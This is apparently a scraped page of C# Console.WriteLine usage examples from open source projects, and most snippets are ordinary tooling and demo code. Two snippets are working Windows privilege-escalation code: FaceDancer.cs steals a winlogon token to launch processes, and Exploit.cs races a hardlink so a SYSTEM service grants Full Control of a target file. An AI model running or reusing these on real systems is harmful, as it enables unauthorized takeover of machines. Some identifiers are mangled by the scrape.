Here are the examples of the csharp api System.Console.WriteLine(string) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
40425 Examples
19
Source : SteamBotController.cs
with GNU General Public License v3.0
from 00000vish
with GNU General Public License v3.0
from 00000vish
private static void steamLogin()
{
// create our steamclient instance
var configuration = SteamConfiguration.Create(b => b.WithProtocolTypes(ProtocolTypes.Tcp));
steamClient = new SteamClient();
// create the callback manager which will route callbacks to function calls
manager = new CallbackManager(steamClient);
// get the steamuser handler, which is used for logging on after successfully connecting
steamUser = steamClient.GetHandler<SteamUser>();
steamFriends = steamClient.GetHandler<SteamFriends>();
// register a few callbacks we're interested in
// these are registered upon creation to a callback manager, which will then route the callbacks
// to the functions specified
manager.Subscribe<SteamClient.ConnectedCallback>(OnConnected);
manager.Subscribe<SteamClient.DisconnectedCallback>(OnDisconnected);
manager.Subscribe<SteamUser.LoggedOnCallback>(OnLoggedOn);
manager.Subscribe<SteamUser.LoggedOffCallback>(OnLoggedOff);
// this callback is triggered when the steam servers wish for the client to store the sentry file
manager.Subscribe<SteamUser.UpdateMachineAuthCallback>(OnMachineAuth);
// we use the following callbacks for friends related activities
manager.Subscribe<SteamUser.AccountInfoCallback>(OnAccountInfo);
manager.Subscribe<SteamFriends.FriendsListCallback>(OnFriendsList);
manager.Subscribe<SteamFriends.PersonaStateCallback>(OnPersonaState);
manager.Subscribe<SteamFriends.FriendAddedCallback>(OnFriendAdded);
manager.Subscribe<SteamFriends.FriendMsgCallback>(OnChatMessage);
isRunning = true;
Console.WriteLine("Connecting to Steam...");
// initiate the connection
steamClient.Connect();
// create our callback handling loop
while (isRunning)
{
// in order for the callbacks to get routed, they need to be handled by the manager
manager.RunWaitCallbacks(TimeSpan.FromSeconds(1));
}
}
19
Source : SteamBotController.cs
with GNU General Public License v3.0
from 00000vish
with GNU General Public License v3.0
from 00000vish
static void OnDisconnected(SteamClient.DisconnectedCallback callback)
{
// after recieving an AccountLogonDenied, we'll be disconnected from steam
// so after we read an authcode from the user, we need to reconnect to begin the logon flow again
Console.WriteLine("Disconnected from Steam, reconnecting in 5...");
Thread.Sleep(TimeSpan.FromSeconds(5));
//means disconnect was not users request so we reconnect
if (loggedIn)
{
steamClient.Connect();
}
}
19
Source : SteamBotController.cs
with GNU General Public License v3.0
from 00000vish
with GNU General Public License v3.0
from 00000vish
static void OnLoggedOn(SteamUser.LoggedOnCallback callback)
{
bool isSteamGuard = callback.Result == EResult.AccountLogonDenied;
bool is2FA = callback.Result == EResult.AccountLoginDeniedNeedTwoFactor;
if (isSteamGuard || is2FA)
{
Console.WriteLine("This account is SteamGuard protected!");
if (is2FA)
{
Application.Current.Dispatcher.Invoke((Action)delegate
{
//Console.Write("Please enter your 2 factor auth code from your authenticator app: ");
// MainWindow.currentHandle.Show();
GetInput GI = new GetInput();
twoFactorAuth = GI.Show("Authentication", "Please enter your 2 factor auth code from your authenticator app below", false);
GI.Close();
});
}
else
{
Application.Current.Dispatcher.Invoke((Action)delegate
{
//Console.Write("Please enter the auth code sent to the email at {0}: ", callback.EmailDomain);
//MainWindow.currentHandle.Show();
GetInput GI = new GetInput();
authCode = GI.Show("Authentication", "Please enter the auth code sent to the email at " + callback.EmailDomain, false);
GI.Close();
});
}
return;
}
if (callback.Result != EResult.OK)
{
Console.WriteLine("Unable to logon to Steam: {0} / {1}", callback.Result, callback.ExtendedResult);
isRunning = false;
return;
}
Console.WriteLine("Successfully logged on!");
loggedIn = true;
// at this point, we'd be able to perform actions on Steam
}
19
Source : SteamBotController.cs
with GNU General Public License v3.0
from 00000vish
with GNU General Public License v3.0
from 00000vish
static void OnMachineAuth(SteamUser.UpdateMachineAuthCallback callback)
{
Console.WriteLine("Updating sentryfile...");
// write out our sentry file
// ideally we'd want to write to the filename specified in the callback
// but then this sample would require more code to find the correct sentry file to read during logon
// for the sake of simplicity, we'll just use "sentry.bin"
int fileSize;
byte[] sentryHash;
using (var fs = File.Open("sentry.bin", FileMode.OpenOrCreate, FileAccess.ReadWrite))
{
fs.Seek(callback.Offset, SeekOrigin.Begin);
fs.Write(callback.Data, 0, callback.BytesToWrite);
fileSize = (int)fs.Length;
fs.Seek(0, SeekOrigin.Begin);
using (var sha = SHA1.Create())
{
sentryHash = sha.ComputeHash(fs);
}
}
// inform the steam servers that we're accepting this sentry file
steamUser.SendMachineAuthResponse(new SteamUser.MachineAuthDetails
{
JobID = callback.JobID,
FileName = callback.FileName,
BytesWritten = callback.BytesToWrite,
FileSize = fileSize,
Offset = callback.Offset,
Result = EResult.OK,
LastError = 0,
OneTimePreplacedword = callback.OneTimePreplacedword,
SentryFileHash = sentryHash,
});
Console.WriteLine("Done!");
}
19
Source : FaceDancer.cs
with MIT License
from 001SPARTaN
with MIT License
from 001SPARTaN
static void Main(string[] args)
{
int procId;
string file;
if (args.Length < 2)
{
file = "whoami /priv";
if (args.Length == 0)
{
// If we don't have a process ID as an argument, find winlogon.exe
procId = Process.GetProcessesByName("winlogon").First().Id;
}
else if (args[0].Contains('.'))
{
procId = Process.GetProcessesByName("winlogon").First().Id;
if (args != null)
{
file = args[0];
}
}
else
{
procId = Convert.ToInt32(args[0]);
}
}
else
{
procId = Convert.ToInt32(args[0]);
file = args[1];
}
Console.WriteLine("Stealing token from PID " + procId);
IntPtr tokenHandle = IntPtr.Zero;
IntPtr dupHandle = IntPtr.Zero;
SafeWaitHandle procHandle = new SafeWaitHandle(Process.GetProcessById(procId).Handle, true);
Console.WriteLine("Process handle: True");
bool procToken = OpenProcessToken(procHandle.DangerousGetHandle(), (uint)TokenAccessLevels.MaximumAllowed, out tokenHandle);
Console.WriteLine("OpenProcessToken: " + procToken);
bool duplicateToken = DuplicateTokenEx(tokenHandle, (uint)TokenAccessLevels.MaximumAllowed, IntPtr.Zero,
(uint)TokenImpersonationLevel.Impersonation, TOKEN_TYPE.TokenImpersonation, out dupHandle);
Console.WriteLine("DuplicateTokenEx: " + duplicateToken);
WindowsIdenreplacedy ident = new WindowsIdenreplacedy(dupHandle);
Console.WriteLine("Impersonated user: " + ident.Name);
STARTUPINFO startInfo = new STARTUPINFO();
PipeSecurity sec = new PipeSecurity();
sec.SetAccessRule(new PipeAccessRule("NT AUTHORITY\\Everyone", PipeAccessRights.FullControl, AccessControlType.Allow));
using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable, 4096, sec))
{
using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.ClientSafePipeHandle))
{
// Set process to use anonymous pipe for input/output
startInfo.hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle();
startInfo.hStdError = pipeClient.SafePipeHandle.DangerousGetHandle();
startInfo.dwFlags = STARTF.STARTF_USESTDHANDLES | STARTF.STARTF_USESHOWWINDOW;
// END NAME PIPE INITIALIZATION
PROCESS_INFORMATION newProc = new PROCESS_INFORMATION();
using (StreamReader reader = new StreamReader(pipeServer))
{
bool createProcess = CreateProcessWithTokenW(dupHandle, IntPtr.Zero, null, file, IntPtr.Zero, IntPtr.Zero, "C:\\Temp", ref startInfo, out newProc);
Process proc = Process.GetProcessById(newProc.dwProcessId);
while (!proc.HasExited)
{
Thread.Sleep(1000);
}
pipeClient.Close();
string output = reader.ReadToEnd();
Console.WriteLine("Started process with ID " + newProc.dwProcessId);
Console.WriteLine("CreateProcess return code: " + createProcess);
Console.WriteLine("Process output: " + output);
}
CloseHandle(tokenHandle);
CloseHandle(dupHandle);
}
}
}
19
Source : ExampleParser.cs
with MIT License
from 0blu
with MIT License
from 0blu
protected override void OnEvent(byte code, Dictionary<byte, object> parameters)
{
Console.WriteLine("OnEvent");
}
19
Source : ExampleParser.cs
with MIT License
from 0blu
with MIT License
from 0blu
protected override void OnRequest(byte operationCode, Dictionary<byte, object> parameters)
{
Console.WriteLine("OnRequest");
}
19
Source : ExampleParser.cs
with MIT License
from 0blu
with MIT License
from 0blu
protected override void OnResponse(byte operationCode, short returnCode, string debugMessage, Dictionary<byte, object> parameters)
{
Console.WriteLine("OnResponse");
}
19
Source : Program.cs
with MIT License
from 0ffffffffh
with MIT License
from 0ffffffffh
static void Log(string format, params object[] args)
{
Console.WriteLine(string.Format(format, args));
}
19
Source : Log.cs
with MIT License
from 0ffffffffh
with MIT License
from 0ffffffffh
private static void Write(LogType type, string format, params object[] args)
{
ConsoleColor typeColor,origColor;
ulong mask = (ulong)type;
string log = string.Format(format, args);
logFile.Write(type.ToString() + ": " + log);
if ((logMask & mask) == mask)
{
typeColor = GetColorByLogType(type);
lock (consLock)
{
origColor = Console.ForegroundColor;
Console.ForegroundColor = typeColor;
Console.Write(string.Format("{0}: ", type.ToString()));
Console.ForegroundColor = origColor;
Console.WriteLine(log);
}
}
}
19
Source : Exploit.cs
with GNU General Public License v3.0
from 0x00-0x00
with GNU General Public License v3.0
from 0x00-0x00
static void Main(string[] args)
{
if (args.Length < 1)
{
Console.WriteLine("[+] Specify a target filename");
return;
}
if (!File.Exists(args[0]))
{
Console.WriteLine($"[+] {args[0]} not found");
return;
}
if (!HasFullControl(args[0], @"NT AUTHORITY\SYSTEM"))
{
Console.WriteLine($@"[+] NT AUTHORITY\SYSTEM has no access to {args[0]}");
return;
}
if (HasFullControl(args[0], WindowsIdenreplacedy.GetCurrent().Name))
{
Console.WriteLine($@"[+] {WindowsIdenreplacedy.GetCurrent().Name} already has Full Control of {args[0]}");
return;
}
if (GetCortana() == 0)
{
Console.WriteLine("[+] Cortana disabled");
return;
}
string AppData = Environment.GetFolderPath((Environment.SpecialFolder.LocalApplicationData));
string LocalState = AppData + $@"\packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState";
Console.WriteLine($"[+] Removing {LocalState}");
try
{
Directory.Delete($@"{LocalState}", true);
}
catch { }
IntPtr Thread = GetCurrentThread();
SetThreadPriority(Thread, ThreadPriority.THREAD_PRIORITY_HIGHEST);
NtFile ntFile;
ntFile = NtFile.Open($@"\??\{args[0]}", null, FileAccessRights.MaximumAllowed);
Console.WriteLine("[+] Waiting to Create Hardlink");
bool Failed = true;
while (Failed)
{
try
{
ntFile.CreateHardlink($@"\??\{LocalState}\rs.txt");
Failed = false;
}
catch { }
}
Console.WriteLine($"[+] Created Hardlink to {args[0]}");
// Give the service some time to rewrite DACLs
System.Threading.Thread.Sleep(2000);
if (HasFullControl(args[0], WindowsIdenreplacedy.GetCurrent().Name))
{
Console.WriteLine(@"[+] You have Full Control");
}
else
{
Console.WriteLine(@"[+] Unlucky - Try again");
}
}
19
Source : PacketDeviceSelector.cs
with MIT License
from 0blu
with MIT License
from 0blu
public static ICaptureDevice AskForPacketDevice()
{
// Retrieve the device list from the local machine
CaptureDeviceList devices = CaptureDeviceList.Instance;
if (devices.Count == 0)
{
throw new Exception("No interfaces found! Make sure WinPcap is installed.");
}
// Print the list
for (int i = 0; i != devices.Count; ++i)
{
ICaptureDevice device = devices[i];
Console.Write((i + 1) + ". ");
if (device.Description != null)
Console.WriteLine(" (" + device.Description + ")");
else
Console.WriteLine(" (No description available)");
}
int deviceIndex;
do
{
Console.WriteLine("Enter the interface number (1-" + devices.Count + "):");
string deviceIndexString = Console.ReadLine();
if (!int.TryParse(deviceIndexString, out deviceIndex) ||
deviceIndex < 1 || deviceIndex > devices.Count)
{
deviceIndex = 0;
}
} while (deviceIndex == 0);
return devices[deviceIndex - 1];
}
19
Source : Protocol16SerializerTest.cs
with MIT License
from 0blu
with MIT License
from 0blu
private void ToString(Stream s)
{
MemoryStream ms = new MemoryStream();
s.Position = 0;
s.CopyTo(ms);
string d = "";
for (int i = 0; i < ms.Length; i++)
{
d += "0x" + ms.GetBuffer()[i].ToString("X2") + ", ";
}
Console.WriteLine(d);
}
19
Source : Program.cs
with MIT License
from 0ffffffffh
with MIT License
from 0ffffffffh
static void Main(string[] args)
{
int mpid;
ushort mport;
Log.Init("backend");
Log.EnableLogType(LogType.Critical);
Log.EnableLogType(LogType.Verbose);
Log.EnableLogType(LogType.Info);
Log.EnableLogType(LogType.Error);
Log.EnableLogType(LogType.Warning);
if (!Config.Get().IsOK)
{
Log.Critical("Some of required config settings missing.");
return;
}
Log.DisableAll();
Log.EnableLogType((LogType)Config.Get().LogLevel);
Log.Info("Booting up memcached instance");
mpid = TryGetOpt<int>("-mpid", args, 0);
mport = TryGetOpt<ushort>("-mport", args, 0);
if (mpid > 0 && mport > 0)
{
Log.Warning("Attach requested at pid: {0} and port {1}", mpid, mport);
DataCacheInstance = Memcached.AttachExist("GeneralCache", mport, mpid);
}
else
DataCacheInstance = Memcached.Create("GeneralCache", 512, 11211);
if (Program.DataCacheInstance == null)
Log.Critical("Memcached could not started");
else
Log.Info("Memcached ok");
Init();
Console.CancelKeyPress += Console_CancelKeyPress;
while (running)
Thread.Sleep(10);
Uninit();
Console.WriteLine("All resources released. press any key to exit");
Log._Finalize();
Console.ReadKey();
Environment.Exit(0);
}
19
Source : Program.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
private static void MainMain(string[] args) {
LogHeader(Console.Out);
Thread.CurrentThread.Name = "Main Thread";
CelesteNetServerSettings settings = new();
settings.Load();
settings.Save();
bool showHelp = false;
string? logFile = "log-celestenet.txt";
OptionSet options = new() {
{
"v|loglevel:",
$"Change the log level, ranging from {LogLevel.CRI} ({(int) LogLevel.CRI}) to {LogLevel.DEV} ({(int) LogLevel.DEV}). Defaults to {LogLevel.INF} ({(int) LogLevel.INF}).",
v => {
if (Enum.TryParse(v, true, out LogLevel level)) {
Logger.Level = level;
} else {
Logger.Level--;
}
if (Logger.Level < LogLevel.DEV)
Logger.Level = LogLevel.DEV;
if (Logger.Level > LogLevel.CRI)
Logger.Level = LogLevel.CRI;
Console.WriteLine($"Log level changed to {Logger.Level}");
}
},
{ "log", "Specify the file to log to.", v => { if (v != null) logFile = v; } },
{ "nolog", "Disable logging to a file.", v => { if (v != null) logFile = null; } },
{ "h|help", "Show this message and exit.", v => showHelp = v != null },
};
try {
options.Parse(args);
} catch (OptionException e) {
Console.WriteLine(e.Message);
Console.WriteLine("Use --help for argument info.");
return;
}
if (showHelp) {
options.WriteOptionDescriptions(Console.Out);
return;
}
if (logFile == null) {
MainRun(settings);
return;
}
if (File.Exists(logFile))
File.Delete(logFile);
using FileStream fileStream = new(logFile, FileMode.OpenOrCreate, FileAccess.Write, FileShare.ReadWrite | FileShare.Delete);
using StreamWriter fileWriter = new(fileStream, Console.OutputEncoding);
using LogWriter logWriter = new() {
STDOUT = Console.Out,
File = fileWriter
};
LogHeader(fileWriter);
try {
Console.SetOut(logWriter);
MainRun(settings);
} finally {
if (logWriter.STDOUT != null) {
Console.SetOut(logWriter.STDOUT);
logWriter.STDOUT = null;
}
}
}
19
Source : Program.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
static void Main(string[] args) {
// Required for the relative extra paths to work properly.
if (!File.Exists("MonoMod.RuntimeDetour.dll"))
Environment.CurrentDirectory = Path.GetDirectoryName(replacedembly.GetExecutingreplacedembly().Location);
string inputDir, outputDir;
if (args.Length != 2 ||
!Directory.Exists(inputDir = args[0]) ||
!Directory.Exists(outputDir = args[1])) {
Console.Error.WriteLine("Usage: inputdir outputdir");
return;
}
// Check that the files exist.
if (!VerifyFile(out string inputXNA, inputDir, "Terraria.XNA.exe"))
return;
if (!VerifyFile(out string inputFNA, inputDir, "Terraria.FNA.exe"))
return;
// Strip or copy.
foreach (string path in Directory.GetFiles(inputDir)) {
if (!path.EndsWith(".exe") && !path.EndsWith(".dll")) {
Console.WriteLine($"Copying: {path}");
File.Copy(path, Path.Combine(outputDir, Path.GetFileName(path)));
continue;
}
Console.WriteLine($"Stripping: {path}");
Stripper.Strip(path);
}
// Generate hooks.
string hooksXNA = Path.Combine(outputDir, "Windows.Pre.dll");
string hooksFNA = Path.Combine(outputDir, "Mono.Pre.dll");
GenHooks(inputXNA, hooksXNA);
GenHooks(inputFNA, hooksFNA);
// Merge generated .dlls and MonoMod into one .dll per environment.
string[] extrasMod = {
"TerrariaHooks.dll",
"MonoMod.exe",
"MonoMod.RuntimeDetour.dll",
"MonoMod.Utils.dll"
};
Repack(hooksXNA, extrasMod, Path.Combine(outputDir, "Windows.dll"), "TerrariaHooks.dll");
File.Delete(hooksXNA);
Repack(hooksFNA, extrasMod, Path.Combine(outputDir, "Mono.dll"), "TerrariaHooks.dll");
File.Delete(hooksFNA);
}
19
Source : patch_Program.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public static void LogLine(string line) {
Console.WriteLine(line);
}
19
Source : patch_Program.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
public static void LogDetailed(Exception e, string tag = null) {
for (Exception e_ = e; e_ != null; e_ = e_.InnerException) {
Console.WriteLine(e_.GetType().FullName + ": " + e_.Message + "\n" + e_.StackTrace);
if (e_ is ReflectionTypeLoadException) {
ReflectionTypeLoadException rtle = (ReflectionTypeLoadException) e_;
for (int i = 0; i < rtle.Types.Length; i++) {
Console.WriteLine("ReflectionTypeLoadException.Types[" + i + "]: " + rtle.Types[i]);
}
for (int i = 0; i < rtle.LoaderExceptions.Length; i++) {
LogDetailed(rtle.LoaderExceptions[i], tag + (tag == null ? "" : ", ") + "rtle:" + i);
}
}
if (e_ is TypeLoadException) {
Console.WriteLine("TypeLoadException.TypeName: " + ((TypeLoadException) e_).TypeName);
}
if (e_ is BadImageFormatException) {
Console.WriteLine("BadImageFormatException.FileName: " + ((BadImageFormatException) e_).FileName);
}
}
}
19
Source : Program.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
static void Main(string[] args) {
string inputDir;
if (args.Length != 1 || !Directory.Exists(inputDir = args[0])) {
Console.Error.WriteLine("Usage: inputdir");
return;
}
foreach (string path in Directory.GetFiles(inputDir)) {
Console.WriteLine($"Stripping: {path}");
Strip(path);
}
}
19
Source : Program.cs
with MIT License
from 0x0ade
with MIT License
from 0x0ade
static void GenHooks(string input, string output) {
Console.WriteLine($"Hooking: {input} -> {output}");
using (MonoModder mm = new MonoModder() {
InputPath = input,
OutputPath = output,
ReadingMode = ReadingMode.Deferred,
MissingDependencyThrow = false,
}) {
mm.Read();
mm.MapDependencies();
if (File.Exists(output))
File.Delete(output);
HookGenerator gen = new HookGenerator(mm, Path.GetFileName(output)) {
HookPrivate = true,
};
gen.Generate();
gen.OutputModule.Write(output);
}
}
19
Source : XnaToFnaHelper.cs
with zlib License
from 0x0ade
with zlib License
from 0x0ade
public static void Log(string s) {
Console.Write("[XnaToFnaHelper] ");
Console.WriteLine(s);
}
19
Source : Program.cs
with zlib License
from 0x0ade
with zlib License
from 0x0ade
public static void Main(string[] args) {
XnaToFnaUtil xtf = new XnaToFnaUtil();
Console.WriteLine($"XnaToFna {XnaToFnaUtil.Version}");
Console.WriteLine($"using MonoMod {MonoModder.Version}");
bool showHelp = false;
bool showVersion = false;
bool relinkOnly = false;
OptionSet options = new OptionSet {
{ "h|help", "Show this message and exit.", v => showHelp = v != null },
{ "v|version", "Show the version and exit.", v => showVersion = v != null },
{ "profile=", "Choose between multiple base profiles:\ndefault, minimal, forms", v => {
switch (v.ToLowerInvariant()) {
case "default":
xtf.HookCompat = true;
xtf.HookHacks = true;
xtf.HookEntryPoint = false;
xtf.HookLocks = false;
xtf.FixOldMonoXML = false;
xtf.HookBinaryFormatter = true;
xtf.HookReflection = true;
break;
case "minimal":
xtf.HookCompat = false;
xtf.HookHacks = false;
xtf.HookEntryPoint = false;
xtf.HookLocks = false;
xtf.FixOldMonoXML = false;
xtf.HookBinaryFormatter = false;
xtf.HookReflection = false;
break;
case "forms":
xtf.HookCompat = true;
xtf.HookHacks = false;
xtf.HookEntryPoint = true;
xtf.HookLocks = false;
xtf.FixOldMonoXML = false;
xtf.HookBinaryFormatter = false;
xtf.HookReflection = false;
break;
}
} },
{ "relinkonly=", "Only read and write the replacedemblies listed.", (bool v) => relinkOnly = v },
{ "hook-compat=", "Toggle Forms and P/Invoke compatibility hooks.", (bool v) => xtf.HookCompat = v },
{ "hook-hacks=", "Toggle some hack hooks, f.e.\nXNATOFNA_DISPLAY_FULLSCREEN", (bool v) => xtf.HookEntryPoint = v },
{ "hook-locks=", "Toggle if locks should be \"destroyed\" or not.", (bool v) => xtf.HookLocks = v },
{ "hook-oldmonoxml=", "Toggle basic XML serialization fixes.\nPlease try updating mono first!", (bool v) => xtf.FixOldMonoXML = v },
{ "hook-binaryformatter=", "Toggle BinaryFormatter-related fixes.", (bool v) => xtf.HookBinaryFormatter = v },
{ "hook-reflection=", "Toggle reflection-related fixes.", (bool v) => xtf.HookBinaryFormatter = v },
{ "hook-patharg=", "Hook the given method to receive fixed paths.\nCan be used multiple times.", v => xtf.FixPathsFor.Add(v) },
{ "ilplatform=", "Choose the target IL platform:\nkeep, x86, x64, anycpu, x86pref", v => xtf.PreferredPlatform = ParseEnum(v, ILPlatform.Keep) },
{ "mixeddeps=", "Choose the action performed to mixed dependencies:\nkeep, stub, remove", v => xtf.MixedDeps = ParseEnum(v, MixedDepAction.Keep) },
{ "removepublickeytoken=", "Remove the public key token of a dependency.\nCan be used multiple times.", v => xtf.DestroyPublicKeyTokens.Add(v) },
};
void WriteHelp(TextWriter writer) {
writer.WriteLine("Usage: <mono> XnaToFna.exe [options] <--> FileOrDir <FileOrDir> <...>");
options.WriteOptionDescriptions(writer);
}
List<string> extra;
try {
extra = options.Parse(args);
} catch (OptionException e) {
Console.Error.Write("Command parse error: ");
Console.Error.WriteLine(e.Message);
Console.Error.WriteLine();
WriteHelp(Console.Error);
return;
}
if (showVersion) {
return;
}
if (showHelp) {
WriteHelp(Console.Out);
return;
}
foreach (string arg in extra)
xtf.ScanPath(arg);
if (!relinkOnly && !Debugger.IsAttached) // Otherwise catches XnaToFna.vshost.exe
xtf.ScanPath(Directory.GetCurrentDirectory());
xtf.OrderModules();
xtf.RelinkAll();
xtf.Log("[Main] Done!");
if (Debugger.IsAttached) // Keep window open when running in IDE
Console.ReadKey();
}
19
Source : XnaToFnaExt.cs
with zlib License
from 0x0ade
with zlib License
from 0x0ade
public static Thread AsyncPipeErr(this Process p, bool nullify = false) {
Thread t = nullify ?
new Thread(() => {
try { StreamReader err = p.StandardError; while (!p.HasExited) err.ReadLine(); } catch { }
}) {
Name = $"STDERR pipe thread for {p.ProcessName}",
IsBackground = true
} :
new Thread(() => {
try { StreamReader err = p.StandardError; while (!p.HasExited) Console.WriteLine(err.ReadLine()); } catch { }
}) {
Name = $"STDERR pipe thread for {p.ProcessName}",
IsBackground = true
};
t.Start();
return t;
}
19
Source : XnaToFnaExt.cs
with zlib License
from 0x0ade
with zlib License
from 0x0ade
public static Thread AsyncPipeOut(this Process p, bool nullify = false) {
Thread t = nullify ?
new Thread(() => {
try { StreamReader @out = p.StandardOutput; while (!p.HasExited) @out.ReadLine(); } catch { }
}) {
Name = $"STDOUT pipe thread for {p.ProcessName}",
IsBackground = true
} :
new Thread(() => {
try { StreamReader @out = p.StandardOutput; while (!p.HasExited) Console.WriteLine(@out.ReadLine()); } catch { }
}) {
Name = $"STDOUT pipe thread for {p.ProcessName}",
IsBackground = true
};
t.Start();
return t;
}
19
Source : XnaToFnaUtil.cs
with zlib License
from 0x0ade
with zlib License
from 0x0ade
public void Log(string txt) {
Console.Write("[XnaToFna] ");
Console.WriteLine(txt);
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public static int Main(string[] args)
{
if (args.Length < 1)
{
Console.WriteLine("Path to \"SqExpress\" project folder should be specified as the first argument");
return 1;
}
string projDir = args[0];
if (!Directory.Exists(projDir))
{
Console.WriteLine($"Directory \"{projDir}\" does not exist");
return 2;
}
IReadOnlyList<NodeModel> buffer;
try
{
buffer = BuildModelRoslyn(projDir);
}
catch (Exception e)
{
Console.WriteLine($"Could not build model: {e.Message}");
return 3;
}
try
{
Generate(projDir, @"SyntaxTreeOperations\ExprDeserializer.cs", buffer, GenerateDeserializer);
Generate(projDir, @"SyntaxTreeOperations\Internal\ExprModifier.cs", buffer, GenerateModifier);
Generate(projDir, @"SyntaxTreeOperations\Internal\ExprWalker.cs", buffer, GenerateWalker);
Generate(projDir, @"SyntaxTreeOperations\Internal\ExprWalkerPull.cs", buffer, GenerateWalkerPull);
Generate(projDir, @"SyntaxModifyExtensions.cs", buffer, GenerateSyntaxModify);
Console.WriteLine("Done!");
}
catch (Exception e)
{
Console.WriteLine(e);
return 4;
}
return 0;
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task RunPostgreSql(string connectionString)
{
Console.WriteLine("Running on PostgreSQL database...");
int commandCounter = 0;
DbCommand NpgsqlCommandFactory(NpgsqlConnection connection, string sqlText)
{
Console.WriteLine($"Command #{++commandCounter}");
Console.WriteLine(sqlText);
Console.WriteLine();
return new NpgsqlCommand(sqlText, connection);
}
using (var connection = new NpgsqlConnection(connectionString))
{
if (!await CheckConnection(connection, "PostgreSQL"))
{
return;
}
using (var database = new SqDatabase<NpgsqlConnection>(
connection: connection,
commandFactory: NpgsqlCommandFactory,
sqlExporter: new PgSqlExporter(builderOptions: SqlBuilderOptions.Default
.WithSchemaMap(schemaMap: new[] { new SchemaMap(@from: "dbo", to: "public") }))))
{
await Script(database: database, isMsSql: false);
}
}
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task RunMySql(string connectionString)
{
Console.WriteLine("Running on MySQL database...");
int commandCounter = 0;
DbCommand MySqlCommandFactory(MySqlConnection connection, string sqlText)
{
Console.WriteLine($"Command #{++commandCounter}");
Console.WriteLine(sqlText);
Console.WriteLine();
return new MySqlCommand(sqlText, connection);
}
using (var connection = new MySqlConnection(connectionString))
{
if (!await CheckConnection(connection, "MySQL"))
{
return;
}
using (var database = new SqDatabase<MySqlConnection>(
connection: connection,
commandFactory: MySqlCommandFactory,
sqlExporter: new MySqlExporter(builderOptions: SqlBuilderOptions.Default)))
{
await Script(database: database, isMsSql: false);
}
}
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task Step13TempTables(ISqDatabase database)
{
var tmp = new TempTable();
var tableUser = new TableUser();
var tableCompany = new TableCompany();
await database.Statement(tmp.Script.Create());
//Users
await InsertInto(tmp, tmp.Name)
.From(Select(tableUser.FirstName + " " + tableUser.LastName)
.From(tableUser))
.Exec(database);
//Companies
await InsertInto(tmp, tmp.Name)
.From(Select(tableCompany.CompanyName)
.From(tableCompany))
.Exec(database);
await Select(tmp.Columns)
.From(tmp)
.OrderBy(tmp.Name)
.Query(database,
r => Console.WriteLine($"Id: {tmp.Id.Read(r)}, Name: {tmp.Name.Read(r)}"));
//Dropping the temp table is optional
//It will be automatically removed when
//the connection is closed
await database.Statement(tmp.Script.Drop());
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task Step14TreeExploring(ISqDatabase database)
{
//Var some external filter..
ExprBoolean filter = CustomColumnFactory.Int16("Type") == 2 /*Company*/;
var tableCustomer = new TableCustomer();
var baseSelect = Select(tableCustomer.CustomerId)
.From(tableCustomer)
.Where(filter)
.Done();
//Checking that filter has "Type" column
var hasVirtualColumn = filter.SyntaxTree()
.FirstOrDefault<ExprColumnName>(e => e.Name == "Type") !=
null;
if (hasVirtualColumn)
{
baseSelect = (ExprQuerySpecification)baseSelect.SyntaxTree()
.Modify(e =>
{
var result = e;
//Joining with the sub query
if (e is TableCustomer table)
{
var derivedTable = new DerivedTableCustomer();
result = new ExprJoinedTable(
table,
ExprJoinedTable.ExprJoinType.Inner,
derivedTable,
table.CustomerId == derivedTable.CustomerId);
}
return result;
});
}
await baseSelect!
.Query(database,
r => Console.WriteLine($"Id: {tableCustomer.CustomerId.Read(r)}"));
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task Step15SyntaxModification(ISqDatabase database)
{
var tUser = new TableUser();
Console.WriteLine("Original expression:");
var expression = SelectTop(1, tUser.FirstName).From(tUser).Done();
await expression.QueryScalar(database);
expression = expression
.WithTop(null)
.WithSelectList(tUser.UserId, tUser.FirstName + " " + tUser.LastName)
.WithWhere(tUser.UserId == 7);
Console.WriteLine("With changed selection list and filter:");
await expression.QueryScalar(database);
var tCustomer = new TableCustomer();
expression = expression
.WithInnerJoin(tCustomer, on: tCustomer.UserId == tUser.UserId);
Console.WriteLine("With joined table");
await expression.QueryScalar(database);
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task Step16Models(ISqDatabase database)
{
var tUser = new TableUser();
var users = await Select(UserName.GetColumns(tUser))
.From(tUser)
.QueryList(database, r => UserName.Read(r, tUser));
foreach (var userName in users)
{
Console.WriteLine($"{userName.Id} {userName.FirstName} {userName.LastName}");
}
}
19
Source : Program.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static async Task Step20ExportToPlain(ISqDatabase database)
{
var tableUser = new TableUser(Alias.Empty);
ExprBoolean filter1 = tableUser.LastName == "Sturman";
ExprBoolean filter2 = tableUser.LastName == "Freeborne";
var tableFavoriteFilter = new TableFavoriteFilter();
var tableFavoriteFilterItem = new TableFavoriteFilterItem();
var filterIds = await InsertDataInto(tableFavoriteFilter, new[] { "Filter 1", "Filter 2" })
.MapData(s => s.Set(s.Target.Name, s.Source))
.Output(tableFavoriteFilter.FavoriteFilterId)
.QueryList(database, r => tableFavoriteFilterItem.FavoriteFilterId.Read(r));
var filter1Items =
filter1.SyntaxTree()
.ExportToPlainList((i, id, index, b, s, value) =>
FilterPlainItem.Create(filterIds[0], i, id, index, b, s, value));
var filter2Items =
filter2.SyntaxTree()
.ExportToPlainList((i, id, index, b, s, value) =>
